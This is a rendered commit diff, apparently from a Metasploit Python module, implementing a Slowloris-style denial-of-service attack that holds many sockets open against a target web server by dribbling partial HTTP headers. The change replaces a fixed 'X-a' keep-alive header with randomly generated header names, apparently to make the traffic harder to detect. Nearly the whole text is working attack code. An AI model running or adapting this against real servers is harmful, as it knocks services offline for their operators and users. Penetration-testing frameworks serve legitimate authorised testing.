4
4
import random
5
5
import socket
6
6
import ssl
7
- import sys
7
+ import string
8
8
import time
9
9
10
10
from metasploit import module
70
70
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0" ,
71
71
]
72
72
73
+
74
+ def create_random_header_name (size = 8 , seq = string .ascii_uppercase + string .ascii_lowercase ):
75
+ return '' .join (random .choice (seq ) for _ in range (size ))
76
+
77
+
73
78
def init_socket (host , port , use_ssl = False , rand_user_agent = True ):
74
79
s = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
75
80
s .settimeout (4 )
@@ -89,6 +94,7 @@ def init_socket(host, port, use_ssl=False, rand_user_agent=True):
89
94
s .send ("{}\r \n " .format ("Accept-language: en-US,en,q=0.5" ).encode ("utf-8" ))
90
95
return s
91
96
97
+
92
98
def run (args ):
93
99
host = args ['rhost' ]
94
100
port = int (args ['rport' ])
@@ -102,7 +108,7 @@ def run(args):
102
108
module .log ("Creating sockets..." , 'info' )
103
109
for i in range (socket_count ):
104
110
try :
105
- module .log ("Creating socket number %s" % ( i ) , 'debug' )
111
+ module .log ("Creating socket number %s" % i , 'debug' )
106
112
s = init_socket (host , port , use_ssl = use_ssl , rand_user_agent = rand_user_agent )
107
113
except socket .error :
108
114
break
@@ -112,7 +118,9 @@ def run(args):
112
118
module .log ("Sending keep-alive headers... Socket count: %s" % len (list_of_sockets ), 'info' )
113
119
for s in list (list_of_sockets ):
114
120
try :
115
- s .send ("X-a: {}\r \n " .format (random .randint (1 , 5000 )).encode ("utf-8" ))
121
+ s .send ("{}: {}\r \n " .format (create_random_header_name (random .randint (8 , 16 )),
122
+ random .randint (1 , 5000 )).encode ("utf-8" ))
123
+
116
124
except socket .error :
117
125
list_of_sockets .remove (s )
118
126
@@ -126,5 +134,6 @@ def run(args):
126
134
break
127
135
time .sleep (delay )
128
136
137
+
129
138
if __name__ == "__main__" :
130
139
module .run (metadata , run )
0 commit comments